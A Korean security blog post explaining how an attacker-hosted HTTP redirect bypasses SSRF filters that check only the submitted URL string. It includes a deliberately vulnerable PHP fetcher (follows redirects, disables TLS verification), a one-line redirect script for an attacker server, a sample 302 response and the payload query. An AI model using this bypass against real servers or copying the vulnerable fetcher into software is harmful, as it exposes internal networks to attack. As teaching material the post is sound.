https://gph.is/2hxuIjt |
What is HTTP Redirect?
이름은 거창하지만 302, 301 Response 및 Location 헤더 등으로 HTTP 페이지가 렌더링되기 전에 다른 페이지로 이동되는 걸 의미합니다.HTTP Status Code Temporary / Permanent Cacheable Method
301 Permanent yes GET / POST may change
302 Temporary not by default GET / POST may change
303 Temporary never always GET
307 Temporary not by default may not change
308 Permanent by default may not change
Bypass SSRF Protection
한가지 조건이 있습니다. 검증 로직이 URL 패턴이나 도메인 정보를 보고있을 때, 즉 Redirect 처리를 하지 않은 상태에서 검증하는 경우 우회할 수 있는 방법으로 쓰입니다.예를들어 이런 코드가 있다고 칩시다.
<?php
function protect_ssrf($data){
if(strpos($data,"www.hahwul.com") !== false){
exit(); // url에 www.hahwul.com이 있으면 차단
}
}
function getHtml($url, $post = null) {
protect_ssrf($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if(!empty($post)) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
echo getHtml($_GET['q']);
?>
정상 로드 |
차단되어 로드도지 않음 |
이런 경우에 아래처럼 hahwul.com이 들어간 도메인은 exit() 구문으로 인해 contents를 들고오지 못합니다. 일반적인 경우에는 내부망(사설대역), 내부 도메인 등의 데이터로 검증하고 있겠죠.
저 코드는 웹 요청을 다 따라가지 않고 요청전에 입력값으로만 검증하기 떄문에 아래 방법으로 우회할 수 있습니다. 아래와 같이 HTTP Redirect 코드를 공격자 서버에 두고..
<?php
header('Location: https://www.hahwul.com');
?>
실제로 이 페이지는 접근하게 되면 이런 Response가 발생하겠죠.
HTTP/1.1 302 Found
Server: nginx
Date: Fri, 22 Feb 2019 23:11:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Location: https://www.hahwul.com
SSRF 취약점이 있는 저 페이지도 위에 url을 접근했을 떄 동일한 결과를 받을겁니다. 대신 검증 로직 이후에 Location 헤더를 따라가기 떄문에 www.hahwul.com에 대한 검증 구간이 있어도 정상적으로 불러올 수 있습니다.
?q=http://your_domain/hr.php
HAHWULSecurity engineer, Gopher and H4cker! |
역시 우회왕
ReplyDelete역시 버바왕
Delete